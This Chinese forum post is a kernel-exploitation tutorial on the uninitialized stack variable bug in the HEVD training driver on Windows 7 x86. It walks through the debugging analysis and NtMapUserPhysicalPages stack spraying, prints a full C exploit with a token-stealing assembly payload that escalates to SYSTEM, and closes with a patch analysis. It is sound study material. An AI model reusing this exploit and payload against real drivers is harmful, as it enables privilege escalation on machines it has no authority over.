-
-
[原创]内核漏洞学习[6]-HEVD-UninitializedStackVariable
-
2021-11-21 14:42 26574
-
# HEVD-UninitializedStackVariable
一: 概述
HEVD:漏洞靶场,包含各种Windows内核漏洞的驱动程序项目,在Github上就可以找到该项目,进行相关的学习
Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub
环境准备:
Windows 7 X86 sp1 虚拟机
使用VirtualKD和windbg双机调试
HEVD 3.0+KmdManager+DubugView
二:漏洞点分析
TriggerUninitializedMemoryStack函数存在漏洞,内核函数栈中的变量未初始化,如果用户传入的UserValue==MagicValue(0xBAD0B0B0),就会赋值参数value和回调函数callback地址,并在后面调用callback。如果uservalue不等MagicValue,就存在利用点。
在非安全版本中UninitializedMemory变量定义但是没有初始化,由于该变量布局在栈上,它会拥有一个之前调用函数遗留的随机垃圾值。
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | NTSTATUS TriggerUninitializedMemoryStack( _In_ PVOID UserBuffer ) { ULONG UserValue = 0 ; ULONG MagicValue = 0xBAD0B0B0 ; NTSTATUS Status = STATUS_SUCCESS; #ifdef SECURE / / / / Secure Note: This is secure because the developer is properly initializing / / UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling / / the callback / / UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 }; / / 安全版本: 栈变量初始化了 #else / / / / Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability / / because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure / / before calling the callback when 'MagicValue' does not match 'UserValue' / / UNINITIALIZED_MEMORY_STACK UninitializedMemory; / / 不安全版本: 栈变量未初始化 #endif PAGED_CODE(); __try { / / / / Verify if the buffer resides in user mode / / ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_STACK), (ULONG)__alignof(UCHAR)); / / / / Get the value from user mode / / UserValue = * (PULONG)UserBuffer; DbgPrint( "[+] UserValue: 0x%p\n" , UserValue); DbgPrint( "[+] UninitializedMemory Address: 0x%p\n" , &UninitializedMemory); / / / / Validate the magic value / / if (UserValue = = MagicValue) { UninitializedMemory.Value = UserValue; UninitializedMemory.Callback = &UninitializedMemoryStackObjectCallback; } DbgPrint( "[+] UninitializedMemory.Value: 0x%p\n" , UninitializedMemory.Value); DbgPrint( "[+] UninitializedMemory.Callback: 0x%p\n" , UninitializedMemory.Callback); #ifndef SECURE DbgPrint( "[+] Triggering Uninitialized Memory in Stack\n" ); #endif / / / / Call the callback function / / if (UninitializedMemory.Callback) / / 在此处判断回调函数是否为 0 ,否则可利用 0 页内存, { UninitializedMemory.Callback(); } } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint( "[-] Exception Code: 0x%X\n" , Status); } return Status; } |
逆向HEVD.sys
if (UninitializedMemory.Callback) //此处判断回调函数是否为空,否则含有空指针漏洞,可利用在0页内存上构造payload,相关HEVD:
[原创]内核漏洞学习[5]-HEVD-NullPointerDereference-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com
那么既然有判断,就要换个方法,回调函数地址修改为不为0的地址,然后该地址指向payoad,
三:漏洞利用
HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK控制码对应的派遣函数UninitializedMemoryStackIoctlHandlercase
1 2 3 4 5 | case HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK: DbgPrint( "****** HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK ******\n" ); Status = UninitializedMemoryStackIoctlHandler(Irp, IrpSp); DbgPrint( "****** HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK ******\n" ); break ; |
UninitializedMemoryStackIoctlHandlercase 函数调用TriggerUninitializedMemoryStack触发漏洞
逆向获得IO控制码0x22202f
sub_4460E8-->sub_445FFA(漏洞函数)
(1)测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | #include<stdio.h> #include<Windows.h> HANDLE hDevice = NULL; #define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS) / / #define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK IOCTL(0x80B) int main() { hDevice = CreateFileA( "\\\\.\\HackSysExtremeVulnerableDriver" , GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL ); if (hDevice = = INVALID_HANDLE_VALUE || hDevice = = NULL) { printf( "[-]failed to get device handle !" ); return FALSE; } printf( "[+]success to get device handle" ); if (hDevice) { DWORD bReturn = 0 ; char buf[ 4 ] = { 0 }; * (PDWORD32)(buf) = 0xBAD0B0B0 ; DeviceIoControl(hDevice, 0x22202f , buf, 4 , NULL, 0 , &bReturn, NULL); } } |
因为uservalue=0xBAD0B0B0,所以打印出信息,
*(PDWORD32)(buf) = 0x12345678;
将值修改为0x12345678,再次运行
我们传入值与MagicValue值不匹配时,则会触发漏洞
在cmp处下断点,
HEVD!TriggerUninitializedMemoryStack偏移 0x53处,下断点,运行
1 2 | kd> bp HEVD!TriggerUninitializedMemoryStack + 0x53 kd> g |
执行我们的测试exp 断下来后查看
stack_init-callback=94083ed0-940839cc=504(1284 bytes)
如果我们比较失败了,继续下行调用函数的时候,我们调用的将是一个内核栈上的垃圾值!此值是不固定的,它会拥有一个之前调用函数遗留的随机垃圾值。
我们已经知道了该变量距离当前栈起始位置有多远,在驱动程序源代码中看到,易受攻击的代码被try/except包围,目标操作系统不会崩溃。无法用测试exp触发系统BSOD,
现在,如果我们可以将攻击者控制的数据放在与Stack Init 0x504的偏移处,我们就可以劫持指令指针。
如何从用户模式将用户控制的数据放在内核堆栈上?
看j00ru](https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/))写的方法,官方exp和fuzzysecurity用的都是NtMapUserPhysicalPages函数,它的一部分功能是拷贝输入的字节到内核栈上的一个本地缓冲区。最大尺寸可以拷贝1024*IntPtr::Size(32位机器上是4字节)=>4096字节,函数的栈最大也就 4096byte,所以传4096大小就可以占满一页内存,我们将所有内容都写成payload的地址
详细解释栈喷射
nt!NtMapUserPhysicalPages
1 2 3 4 5 6 7 8 9 10 11 12 13 | mov edi, edi push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_452498 push offset __except_handler3 mov eax, large fs: 0 push eax mov large fs: 0 , esp push ecx push ecx mov eax, 10E8h call __chkstk |
鉴于 __chkstk 是一个特殊的过程,它将堆栈指针降低给定的字节数——这里是 0x10e8——该函数肯定会使用大量的本地存储(不止一个,典型的内存页!)
1 2 3 4 5 6 7 8 9 | NTSTATUS ``NtMapUserPhysicalPages ( ``__in ``PVOID` `VirtualAddress, ``__in ``ULONG_PTR` `NumberOfPages, ``__in_ecount_opt(NumberOfPages) ``PULONG_PTR` `UserPfnArray ``) (...) ``ULONG_PTR` `StackArray[COPY_STACK_SIZE]; #define COPY_STACK_SIZE 1024 //用作缓冲区 |
NtMapUserPhysicalPages调用MiCaptureUlongPtrArray
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | PoolArea = (PVOID)&StackArray[ 0 ]; (...) if (NumberOfPages > COPY_STACK_SIZE) { PoolArea = ExAllocatePoolWithTag (NonPagedPool, NumberOfBytes, 'wRmM' ); if (PoolArea = = NULL) { return STATUS_INSUFFICIENT_RESOURCES; } } (...) Status = MiCaptureUlongPtrArray (PoolArea, UserPfnArray, NumberOfPages); |
NtMapUserPhysicalPages函数分配一个包含1024的单位的本地缓冲区(就是该函数栈的缓冲区)可以在本地存储多达 4096(1024*sizeof(ULONG_PTR)) 个用户提供的字节(正好是一个内存页),
调用NtMapUserPhysicalPages之前的内核堆栈
调用NtMapUserPhysicalPages之后的堆栈布局
我们之前已经算出来,未初始化变量的callback距离stack_init 偏移0x504大小
那么我们的exp先调用NtMapUserPhysicalPages函数将我们的payload地址写入缓冲区,共写入4096字节大小,那么在我们调用漏洞函数,进而调用callback使,我们的callback值就是文章最开始说的“在非安全版本中UninitializedMemory变量定义但是没有初始化,由于该变量布局在栈上,它会拥有一个之前调用函数遗留的随机垃圾值” 所以调用callback,就会执行我们构造的payload
(2)漏洞利用
exp,可供参考
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | #include<stdio.h> #include<Windows.h> HANDLE hDevice = NULL; typedef NTSTATUS(WINAPI * My_NtMapUserPhysicalPages)( IN PVOID VirtualAddress, IN ULONG_PTR NumberOfPages, IN OUT PULONG_PTR UserPfnArray); #define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS) void payload() { .. } int main() { hDevice = CreateFileA( "\\\\.\\HackSysExtremeVulnerableDriver" , GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL ); if (hDevice = = INVALID_HANDLE_VALUE || hDevice = = NULL) { printf( "[-]failed to get device handle \n" ); return FALSE; } printf( "[+]success to get device handle\n" ); if (hDevice) { DWORD bReturn = 0 ; char buf[ 4 ] = { 0 }; * (PDWORD32)(buf) = 0x12345678 ; / / 栈喷射 My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress( GetModuleHandle(L "ntdll" ), "NtMapUserPhysicalPages" ); if (NtMapUserPhysicalPages = = NULL) { printf( "[+]Failed to get MapUserPhysicalPages\n" ); return ; } PDWORD KernelStackSpray = (PDWORD)malloc( 4096 ); memset(KernelStackSpray, 0x41 , 4096 ); printf( "[+]KernelStackSpray: 0x%p\n" , KernelStackSpray); for ( int i = 0 ; i < 1024 ; i + + ) { * (PDWORD)(KernelStackSpray + i) = (DWORD)&payload; } NtMapUserPhysicalPages(NULL, 1024 , KernelStackSpray); / / 触发漏洞,执行payload DeviceIoControl(hDevice, HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK, buf, 4 , NULL, 0 , &bReturn, NULL); / / cmd printf( "[+]Start to Create cmd...\n" ); STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L "cmd.exe" }; BOOL Return = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); if (Return) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); system( "pause" ); return 0 ; } } |
payload功能:遍历进程,得到系统进程的token,把当前进程的token替换,达到提权目的。
相关内核结构体:
在内核模式下,fs:[0]指向KPCR结构体
1 2 3 4 5 6 7 8 9 10 11 12 | _KPCR + 0x120 PrcbData : _KPRCB _KPRCB + 0x004 CurrentThread : Ptr32 _KTHREAD,_KTHREAD指针,这个指针指向_KTHREAD结构体 _KTHREAD + 0x040 ApcState : _KAPC_STATE _KAPC_STATE + 0x010 Process : Ptr32 _KPROCESS,_KPROCESS指针,这个指针指向EPROCESS结构体 _EPROCESS + 0x0b4 UniqueProcessId : Ptr32 Void,当前进程 ID ,系统进程 ID = 0x04 + 0x0b8 ActiveProcessLinks : _LIST_ENTRY,双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程 + 0x0f8 Token : _EX_FAST_REF,描述了该进程的安全上下文,同时包含了进程账户相关的身份以及权限 |
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | VOID payload() { __asm { pushad ; Save registers state ; Start of Token Stealing Stub xor eax, eax ; Set ZERO mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread ; _KTHREAD is located at FS:[ 0x124 ] mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process mov ecx, eax ; Copy current process _EPROCESS structure mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token ; with SYSTEM process nt!_EPROCESS.Token ; End of Token Stealing Stub popad ; Restore registers state ret } } |
运行exp,喷射成功,提权成功:
注意:我们从用户模式控制内核堆栈上的数据。必须防止它被其他函数调用破坏。
为此,我们需要防止任何其他函数使用内核堆栈。只需确保在喷射内核栈并触发漏洞后不执行或调用任何其他函数即可。
四:补丁分析
内核函数栈中的变量定义后,进行初始化,比如源码给的安全版本:
1 | UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 }; |
五:参考文档
nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques | j00ru//vx tech blog (vexillium.org)
未初始化的堆栈变量 – Windows 内核开发 (payatu.com)
[原创]Windows Kernel Exploit 内核漏洞学习(6)-未初始化栈利用-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com
[翻译]Windows exploit开发系列教程第十三部分:内核利用程序之未初始化栈变量-外文翻译-看雪论坛-安全社区|安全招聘|bbs.pediy.com
ps:因为是自己边学习别记录的,就看着有点啰嗦???但是感觉写的很好理解。。